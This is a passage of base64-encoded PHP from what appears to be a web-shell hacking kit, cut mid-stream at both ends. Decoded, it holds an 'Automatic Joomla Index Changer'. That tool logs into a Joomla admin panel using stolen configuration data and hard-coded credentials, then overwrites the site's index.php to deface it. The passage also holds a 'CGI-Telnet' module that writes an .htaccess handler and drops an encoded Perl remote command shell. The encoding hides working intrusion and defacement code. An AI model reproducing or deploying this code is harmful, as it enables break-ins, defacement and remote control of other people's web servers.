yIpOwogICAgICAgICAgICAgJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsKICAgICR0ZW1wbGF0ZV9uYW1lPSRkYXRhWyJ0ZW1wbGF0ZSJdOwogICAgCiAgICAkcmVxID1teXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJGRicHJlZml4LiJleHRlbnNpb25zYCBXSEVSRSBuYW1lPSciLiR0ZW1wbGF0ZV9uYW1lLiInIik7CiAgICAgICAgICAgICAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOwogICAgJHRlbXBsYXRlX2lkPSRkYXRhWyJleHRlbnNpb25faWQiXTsKICAgIAogICAgJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsKICAgIAogICAgJGNoID0gY3VybF9pbml0KCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwogICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAxKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7CiAgICAKICAgIAogICAgJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOwogICAgCiAgICAkcmV0dXJuPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZXR1cm4iIHZhbHVlPSInLCciJyk7CiAgICAkaGlkZGVuPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsNCk7CiAgICAKICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwogICAgJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsKICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsInVzZXJuYW1lPWFkbWluJnBhc3N3ZD0xMjM0NTY3ODkmb3B0aW9uPWNvbV9sb2dpbiZ0YXNrPWxvZ2luJnJldHVybj0iLiRyZXR1cm4uIiYiLiRoaWRkZW4uIj0xIik7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwogICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOwogICAgJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOwogICAgCiAgICAkcG9zID0gc3RycG9zKCRidWZmZXIsImNvbV9jb25maWciKTsKICAgIGlmKCRwb3MgPT09IGZhbHNlKSB7CiAgICBlY2hvKCI8YnI+WytdIExvZ2luIEVycm9yIik7CiAgICBleGl0OwogICAgfQogICAgZWxzZSB7CiAgICBlY2hvKCI8YnI+WytdIExvZ2luIFN1Y2Nlc3NmdWwiKTsKICAgIH0KICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwogICAgJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJnRhc2s9c291cmNlLmVkaXQmaWQ9Ii5iYXNlNjRfZW5jb2RlKCR0ZW1wbGF0ZV9pZC4iOmluZGV4LnBocCIpOwogICAgJGNoID0gY3VybF9pbml0KCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwogICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOwogICAgJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOwogICAgCiAgICAkaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDIpOwogICAgaWYoJGhpZGRlbjIpIHsKICAgIGVjaG8oIjxicj5bK10gaW5kZXgucGhwIGZpbGUgZm91bmRlZCBpbiBUaGVtZSBFZGl0b3IiKTsKICAgIH0KICAgIGVsc2UgewogICAgZWNobygiPGJyPlstXSBpbmRleC5waHAgTm90IGZvdW5kIGluIFRoZW1lIEVkaXRvciIpOwogICAgZXhpdDsKICAgIH0KICAgIGVjaG8oIjxicj5bKl0gVXBkYXRpbmcgSW5kZXgucGhwIC4uLi4uIik7CiAgICAkdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmbGF5b3V0PWVkaXQiOwogICAgCiAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJqZm9ybVtzb3VyY2VdPSIuJGguIiZqZm9ybVtmaWxlbmFtZV09aW5kZXgucGhwJmpmb3JtW2V4dGVuc2lvbl9pZF09Ii4kdGVtcGxhdGVfaWQuIiYiLiRoaWRkZW4yLiI9MSZ0YXNrPXNvdXJjZS5zYXZlIik7CiAgICAKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7CiAgICAkYnVmZmVyID0gY3VybF9leGVjKCRjaCk7CiAgICAKICAgICRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRkIGNsYXNzPSJtZXNzYWdlIG1lc3NhZ2UiPicpOwogICAgaWYoJHBvcyA9PT0gZmFsc2UpIHsKICAgIGVjaG8oIjxicj5bLV0gVXBkYXRpbmcgSW5kZXgucGhwIEVycm9yIik7CiAgICBleGl0OwogICAgfQogICAgZWxzZSB7CiAgICBlY2hvKCI8YnI+W35dIGluZGV4LnBocCBzdWNjZXNzZnVsbHkgc2F2ZWQiKTsKICAgIH0KICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICAgICAgVjEuNiAgRU5EICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwogICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKICAgIAogICAgCiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAKICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICAgICAgVjEuNSAgICAgICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwogICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKICAgICAgICAgICAgICAgICAgICAKICAgICRyZXEgPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kZGJwcmVmaXguInRlbXBsYXRlc19tZW51YCBXSEVSRSBjbGllbnRfaWQ9JzAnIik7CiAgICAgICAgICAgICAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOwogICAgJHRlbXBsYXRlX25hbWU9JGRhdGFbInRlbXBsYXRlIl07CiAgICAKICAgICR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7CiAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsKICAgICRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsKICAgIAogICAgJGhpZGRlbj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDMpOwogICAgCiAgICAkdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHAiOwogICAgJGNoID0gY3VybF9pbml0KCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywidXNlcm5hbWU9YWRtaW4mcGFzc3dkPTEyMzQ1Njc4OSZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mIi4kaGlkZGVuLiI9MSIpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKICAgIGN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsKICAgICRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsKICAgIAogICAgJHBvcyA9IHN0cnBvcygkYnVmZmVyLCJjb21fY29uZmlnIik7CiAgICAKICAgIGlmKCRwb3MgPT09IGZhbHNlKSB7CiAgICBlY2hvKCI8YnI+Wy1dIExvZ2luIEVycm9yIik7CiAgICBleGl0OwogICAgfQogICAgZWxzZSB7CiAgICBlY2hvKCI8YnI+WytdIExvZ2luIFN1Y2Nlc3NmdWwiKTsKICAgIH0KICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwogICAgJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJnRhc2s9ZWRpdF9zb3VyY2UmY2xpZW50PTAmaWQ9Ii4kdGVtcGxhdGVfbmFtZTsKICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKICAgIGN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOwogICAgJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOwogICAgCiAgICAkaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDYpOwogICAgCiAgICBpZigkaGlkZGVuMikgewogICAgZWNobygiPGJyPlt+XSBpbmRleC5waHAgZmlsZSBmb3VuZGVkIGluIFRoZW1lIEVkaXRvciIpOwogICAgfQogICAgZWxzZSB7CiAgICBlY2hvKCI8YnI+Wy1dIGluZGV4LnBocCBOb3QgZm91bmQgaW4gVGhlbWUgRWRpdG9yIik7CiAgICB9CiAgICAKICAgIGVjaG8oIjxicj5bKl0gVXBkYXRpbmcgSW5kZXgucGhwIC4uLi4uIik7CiAgICAkdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmbGF5b3V0PWVkaXQiOwogICAgJGNoID0gY3VybF9pbml0KCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywiZmlsZWNvbnRlbnQ9Ii4kaC4iJmlkPSIuJHRlbXBsYXRlX25hbWUuIiZjaWRbXT0iLiR0ZW1wbGF0ZV9uYW1lLiImIi4kaGlkZGVuMi4iPTEmdGFzaz1zYXZlX3NvdXJjZSZjbGllbnQ9MCIpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKICAgIGN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOwogICAgJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOwogICAgCiAgICAkcG9zID0gc3RycG9zKCRidWZmZXIsJzxkZCBjbGFzcz0ibWVzc2FnZSBtZXNzYWdlIGZhZGUiPicpOwogICAgaWYoJHBvcyA9PT0gZmFsc2UpIHsKICAgIGVjaG8oIjxicj5bLV0gVXBkYXRpbmcgSW5kZXgucGhwIEVycm9yIik7CiAgICBleGl0OwogICAgfQogICAgZWxzZSB7CiAgICBlY2hvKCI8YnI+W35dIGluZGV4LnBocCBzdWNjZXNzZnVsbHkgc2F2ZWQiKTsKICAgIH0KICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICAgICAgVjEuNSAgRU5EICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwogICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKICAgIAogICAgfQogICAgCiAgICB9CiAgICAKICAgIAogICAgZnVuY3Rpb24gcmFuZG9tdCgpIHsKICAgIAogICAgICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsKICAgICAgICBzcmFuZCgoZG91YmxlKW1pY3JvdGltZSgpKjEwMDAwMDApOwogICAgICAgICRpID0gMDsKICAgICAgICAkcGFzcyA9ICcnIDsKICAgIAogICAgICAgIHdoaWxlICgkaSA8PSA3KSB7CiAgICAgICAgICAgICRudW0gPSByYW5kKCkgJSAzMzsKICAgICAgICAgICAgJHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOwogICAgICAgICAgICAkcGFzcyA9ICRwYXNzIC4gJHRtcDsKICAgICAgICAgICAgJGkrKzsKICAgICAgICB9CiAgICAKICAgICAgICByZXR1cm4gJHBhc3M7CiAgICAKICAgIH0KICAgIAogICAgZnVuY3Rpb24gZW50cmUydjIoJHRleHQsJG1hcnF1ZXVyRGVidXRMaWVuLCRtYXJxdWV1ckZpbkxpZW4sJGk9MSkKICAgIAogICAgewogICAgCiAgICAkYXIwPWV4cGxvZGUoJG1hcnF1ZXVyRGVidXRMaWVuLCAkdGV4dCk7CiAgICAkYXIxPWV4cGxvZGUoJG1hcnF1ZXVyRmluTGllbiwgJGFyMFskaV0pOwogICAgJGFyPXRyaW0oJGFyMVswXSk7CiAgICByZXR1cm4gJGFyOwogICAgfQogICAgCiAgICB9Pz4KICAgIDxjZW50ZXI+PGJyPjxicj4KICAgIDxmb250IGNvbG9yPSIjRkYwMDAwIiBzaXplPScrMyc+PGI+LS09PVsgQXV0b21hdGljIEpvb21sYSBJbmRleCBDaGFuZ2VyIF09PS0tPC9iPjwvZm9udD48YnI+PGJyPgogICAgPC9jZW50ZXI+CiAgICA8Y2VudGVyPjxiPgogICAgTGluayBvZiBzeW1saW5rIGNvbmZpZ3VyYXRpb24ucGhwIG9mIEpvb21sYTxicj48L2I+CiAgICA8Rk9STSBhY3Rpb249IiIgIG1ldGhvZD0icG9zdCI+CiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjEiPgogICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzaXplPSI2MCIgbmFtZT0iZmlsZSIgdmFsdWU9Imh0dHA6Ly9zaXRlLmNvbS9zeW0vaG9tZS91c2VyL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwIj4KICAgIDxicj4KICAgIDxicj48Yj4KICAgIEFkbWluIENvbnRyb2wgUGFuZWwgVVJMPC9iPjxicj4KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzaXplPSI0MCIgbmFtZT0ic2l0ZV91cmwiIHZhbHVlPSJodHRwOi8vc2l0ZS9hZG1pbmlzdHJhdG9yIj48YnI+CiAgICA8YnI+PGI+CiAgICBZb3VyIEluZGV4IENvZGU8L2I+CiAgICA8YnI+CiAgICA8VEVYVEFSRUEgcm93cz0iMjAiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrIiBjb2xzPSIxMjAiIG5hbWU9ImNvZGUiPiB5b3VyIGluZGV4IGNvZGUKICAgICAgICAgICAgPC9URVhUQVJFQT4KICAgICAgICAgICAgPGJyPgogICAgPElOUFVUICBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMZXRzIEdvIERlZmFjZSAhISEiIG5hbWU9IlN1Ym1pdCI+CiAgICA8L0ZPUk0+CiAgICAgPC9jZW50ZXI+CiAgICA8c2NyaXB0IGxhbmd1YWdlPUphdmFTY3JpcHQ+bT0nJTA5JTA5JTA5JTA5JTA5JTA5JTA5JTNDL3RkJTNFJTBBJTA5JTA5JTA5JTA5JTA5JTA5JTNDL3RyJTNFJTBBJTA5JTA5JTA5JTA5JTA5JTNDL3RhYmxlJTNFJTBBJTA5JTA5JTA5JTA5JTNDL3RkJTNFJTBBJTNDL2h0bWwlM0UnO2Q9dW5lc2NhcGUobSk7ZG9jdW1lbnQud3JpdGUoZCk7PC9zY3JpcHQ+Cgk8P3BocAp9CiAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KIAogZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdjZ2kyMDEyJykpIHsgCiBlY2hvICI8Y2VudGVyLz48YnIvPjxiPgogKy0tPT1bIENHSS1UZWxuZXQgVmVyc2lvbiAxLjMgXT09LS0rIAogPC9iPjxicj48YnI+IjsKIAogCiAgICBta2RpcignY2dpMjAxMicsIDA3NTUpOwogICAgY2hkaXIoJ2NnaTIwMTInKTsKICAgICAgICAka29rZG9zeWEgPSAiLmh0YWNjZXNzIjsKICAgICAgICAkZG9zeWFfYWRpID0gIiRrb2tkb3N5YSI7CiAgICAgICAgJGRvc3lhID0gZm9wZW4gKCRkb3N5YV9hZGkgLCAndycpIG9yIGRpZSAoIkRvc3lhIGEmIzIzMTsmIzMwNTtsYW1hZCYjMzA1OyEiKTsKICAgICAgICAkbWV0aW4gPSAiQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5pem8iOyAgICAKICAgICAgICBmd3JpdGUgKCAkZG9zeWEgLCAkbWV0aW4gKSA7CiAgICAgICAgZmNsb3NlICgkZG9zeWEpOwokY2dpMjAxMiA9ICdJeUV2ZFhOeUwySnBiaTl3WlhKc0lDMUpMM1Z6Y2k5c2IyTmhiQzlpWVc1a2JXbHVDblZ6WlNCTlNVMUZPanBDWVhObE5qUTdDaVJXWlhKemFXOXVQU0FpUTBkSkxWUmxiRzVsZENCV1pYSnphVzl1SURFdU15STdDaVJGWkdsMFVHVnljMmx2YmowaVBHWnZiblFnYzNSNWJHVTlKM1JsZUhRdGMyaGhaRzkzT2lBd2NIZ2dNSEI0SURad2VDQnlaMklvTWpVMUxDQXdMQ0F3S1N3Z01IQjRJREJ3ZUNBMWNIZ2djbWRpS0RNd01Dd2dNQ3dnTUNrc0lEQndlQ0F3Y0hnZ05YQjRJSEpuWWlnek1EQXNJREFzSURBcE95QmpiMnh2Y2pvalptWm1abVptT3lCbWIyNTBMWGRsYVdkb2REcGliMnhrT3ljK1lqTTNOR3NnTFNCRFIwa3RWR1ZzYm1WMFBDOW1iMjUwUGlJN0Nnb2tVR0Z6YzNkdmNtUWdQU0FpWW1GdVpIVnVaMnR2ZEdGellXMXdZV2dpT3drSkNTTWdRMmhoYm1kbElIUm9hWE11SUZsdmRTQjNhV3hzSUc1bFpXUWdkRzhnWlc1MFpYSWdkR2hwY3dvSkNRa0pJeUIwYnlCc2IyZHBiaTRLYzNWaUlFbHpYMWRwYmlncGV3b0pKRzl6SUQwZ0puUnlhVzBvSkVWT1Zuc2lVMFZTVmtWU1gxTlBSbFJYUVZKRkluMHBPd29KYVdZb0pHOXpJRDErSUcwdmQybHVMMmtwZXdvSkNYSmxkSFZ5YmlBeE93b0pmUW9KWld4elpYc0tDUWx5WlhSMWNtNGdNRHNLQ1gwS2ZRb2tWMmx1VGxRZ1BTQW1TWE5mVjJsdUtDazdDUWtKQ1NNZ1dXOTFJRzVsWldRZ2RHOGdZMmhoYm1kbElIUm9aU0IyWVd4MVpTQnZaaUIwYUdseklIUnZJREVnYVdZS0NRa0pDUWtKQ1FraklIbHZkU2R5WlNCeWRXNXVhVzVuSUhSb2FYTWdjMk55YVhCMElHOXVJR0VnVjJsdVpHOTNjeUJPVkFvSkNRa0pDUWtKQ1NNZ2JXRmphR2x1WlM0Z1NXWWdlVzkxSjNKbElISjFibTVwYm1jZ2FYUWdiMjRnVlc1cGVDd2dlVzkxQ2drSkNRa0pDUWtKSXlCallXNGdiR1ZoZG1VZ2RHaGxJSFpoYkhWbElHRnpJR2wwSUdsekxnb0tKRTVVUTIxa1UyVndJRDBnSWlZaU93a0pDUWtqSUZSb2FYTWdZMmhoY21GamRHVnlJR2x6SUhWelpXUWdkRzhnYzJWd1pYSmhkR1VnTWlCamIyMXRZVzVrY3dvSkNRa0pDUWtKQ1NNZ2FXNGdZU0JqYjIxdFlXNWtJR3hwYm1VZ2IyNGdWMmx1Wkc5M2N5Qk9WQzRLQ2lSVmJtbDRRMjFrVTJWd0lEMGdJanNpT3drSkNRa2pJRlJvYVhNZ1kyaGhjbUZqZEdWeUlHbHpJSFZ6WldRZ2RHOGdjMlZ3WlhKaGRHVWdNaUJqYjIxdFlXNWtjd29KQ1FrSkNRa0pDU01nYVc0Z1lTQmpiMjF0WVc1a0lHeHBibVVnYjI0Z1ZXNXBlQzRLQ2lSRGIyMXRZVzVrVkdsdFpXOTFkRVIxY21GMGFXOXVJRDBnTVRBd01EQTdDU01nVkdsdFpTQnBiaUJ6WldOdmJtUnpJR0ZtZEdWeUlHTnZiVzFoYm1SeklIZHBiR3dnWW1VZ2EybHNiR1ZrQ2drSkNRa0pDUWtKSXlCRWIyNG5kQ0J6WlhRZ2RHaHBjeUIwYnlCaElIWmxjbmtnYkdGeVoyVWdkbUZzZFdVdUlGUm9hWE1nYVhNS0NRa0pDUWtKQ1FraklIVnpaV1oxYkNCbWIzSWdZMjl0YldGdVpITWdkR2hoZENCdFlYa2dhR0Z1WnlCdmNpQjBhR0YwQ2drSkNRa0pDUWtKSXlCMFlXdGxJSFpsY25rZ2JHOXVaeUIwYnlCbGVHVmpkWFJsTENCc2FXdGxJQ0ptYVc1a0lDOGlMZ29KQ1FrSkNRa0pDU01nVkdocGN5QnBjeUIyWVd4cFpDQnZibXg1SUc5dUlGVnVhWGdnYzJWeWRtVnljeTRnU1hRZ2FYTUtDUWtKQ1FrSkNRa2pJR2xuYm05eVpXUWdiMjRnVGxRZ1UyVnlkbVZ5Y3k0S0NpUlRhRzkzUkhsdVlXMXBZMDkxZEhCMWRDQTlJREU3Q1FrSkl5QkpaaUIwYUdseklHbHpJREVzSUhSb1pXNGdaR0YwWVNCcGN5QnpaVzUwSUhSdklIUm9aUW9KQ1FrSkNRa0pDU01nWW5KdmQzTmxjaUJoY3lCemIyOXVJR0Z6SUdsMElHbHpJRzkxZEhCMWRDd2diM1JvWlhKM2FYTmxDZ2tKQ1FrSkNRa0pJeUJwZENCcGN5QmlkV1ptWlhKbFpDQmhibVFnYzJWdVpDQjNhR1Z1SUhSb1pTQmpiMjF0WVc1a0Nna0pDUWtKQ1FrSkl5QmpiMjF3YkdWMFpYTXVJRlJvYVhNZ2FYTWdkWE5sWm5Wc0lHWnZjaUJqYjIxdFlXNWtjeUJzYVd0bENna0pDUWtKQ1FrSkl5QndhVzVuTENCemJ5QjBhR0YwSUhsdmRTQmpZVzRnYzJWbElIUm9aU0J2ZFhSd2RYUWdZWE1nYVhRS0NRa0pDUWtKQ1FraklHbHpJR0psYVc1bklHZGxibVZ5WVhSbFpDNEtDaU1nUkU5T0oxUWdRMGhCVGtkRklFRk9XVlJJU1U1SElFSkZURTlYSUZSSVNWTWdURWxPUlNCVlRreEZVMU1nV1U5VklFdE9UMWNnVjBoQlZDQlpUMVVuVWtVZ1JFOUpUa2NnSVNFS0NpUkRiV1JUWlhBZ1BTQW9KRmRwYms1VUlEOGdKRTVVUTIxa1UyVndJRG9nSkZWdWFYaERiV1JUWlhBcE93b2tRMjFrVUhka0lEMGdLQ1JYYVc1T1ZDQS9JQ0pqWkNJZ09pQWljSGRrSWlrN0NpUlFZWFJvVTJWd0lEMGdLQ1JYYVc1T1ZDQS9JQ0pjWENJZ09pQWlMeUlwT3dva1VtVmthWEpsWTNSdmNpQTlJQ2drVjJsd